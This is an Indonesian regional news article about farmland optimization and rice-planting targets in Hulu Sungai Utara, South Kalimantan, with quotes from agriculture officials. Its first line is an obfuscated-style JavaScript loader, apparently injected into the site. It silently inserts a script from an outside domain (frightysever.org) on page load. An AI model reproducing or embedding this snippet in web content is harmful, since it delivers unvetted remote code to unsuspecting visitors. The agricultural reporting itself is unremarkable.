(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Musim kemarau tidak menjadi penghalang para petani di Kabupaten Hulu Sungai Utara (HSU). Bahkan, selama musim ini justru menjadi anugerah tersendiri lantaran di musim penghujan mereka lebih sering mengalami gagal panen akibat sawah tergenang air.
Demi percepatan pembangunan di bidang pertanian, Dinas Pertanian dan Tanaman Pangan dan Hortikultura (DPTPH) HSU mengoptimalkan lahan pertanian selama musim kemarau ini. Dindin Rustandi, selaku Koordinator Penyuluh Pertanian DPTPH menuturkan, untuk meningkatkan produktivitas hasil pertanian HSU yang notabene merupakan wilayah rawa lebak, pihaknya bersama Dirjen Kementerian Pertanian berupa mengoptimalkan kembali lahan pertanian di Kecamatan Sungai Pandan meliputi Desa Hambuku Raya seluas 100 Hektare, Desa Teluk Sinar 250 Hektare dan Kecamatan Babirik di Desa Babirik Hilir seluas 250 Hektare.
Sedangkan hasil dari kerja sama dengan Dirjen Pertanian Balai Penelitian Pertanian Lahan Rawa(Balittra) Banjarbaru Kalimantan Selatan rencananya akan mengadakan pengoptimalan lahan lewat dua kali tanam, dua kali panen satu tahun nya dengan alokasi lahan seluas 50 hektare.
“Namun selama ini kami selaku Koordinator Penyuluh Pertanian berupaya mengkoordinir didua kecamatan tersebut, dengan syarat-syarat tertentu meliputi lahan sorong dan lebak dangkal. Dan nantinya apabila lahan pertanian tersebut mengalami banjir pada musim-musim hujan, dapat ditanggulangi dengan tanggul-tanggul yang telah dibuat,” Terang Dindin.
Dirinya menambahkan, selama ini pemerintah melalui APBN Kementerian Pertanian 2018 berupaya membantu para petani di HSU. Di antaranya pemberian dana sebesar Rp 4 juta per hektare termasuk bibit 124,6 ton, sarana dan prasarana pertanian lainnya, agar produksi pertanian di HSU dapat semakin meningkat.
“Meski selama ini hanya sebagian kecil saja yang dapat melakukan tiga kali tanam, tiga kali panen, namun mudahan-mudahan dikecamatan Sungai Pandan dan Babirik cukup dua kali tanam dan dua kali panen itu sudah cukup,” harap Dindin
Selama ini lahan pertanian HSU mengalami peningkatan pertanian. Hal ini bisa dilihat dari target tanam dan realisasi tanam padi. Contohnya saja pada kecamatan Sungai Pandan dengan luas lahan keseluruhan 3.958 hektare dan target pemanfaatan pertanian sebesar 3.699 hektare dapat terealisasikan sebanyak 3.820 haktare sejak bulan Juli- September 2018.
“Apalagi target tahun 2018 keseluruhan yang mencapai 26.610 hektare dapat terealisasikan sebanyak 27.008 hektare,” pungkasnya.
Ditemui terpisah Kepala Dinas PTPH HSU Ilman Hadi, berharap optimalisasi yang ditargetkan pemerintah melalui APBN sebesar 500 Hektare di dua kecamatan tersebut dapat dioptimalkan sepenuhnya. “karena disekitarnya masih banyak lahan tidur, kami berharap lahan-lahan yang belum optimal disekitar lahan yang sudah dimanfaatkan tersebut dengan pemberian Herbisida dapat dimanfaatkan kembali,” katanya.
“Kendala yang dihadapi selama pelaksanaan ini belum begitu besar baik akibat kebakaran maupun curah hujan, karenanya pelaksanaan tanam biasa dilakukan pada musim kemarau,” tambah Ilham. (dew)
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.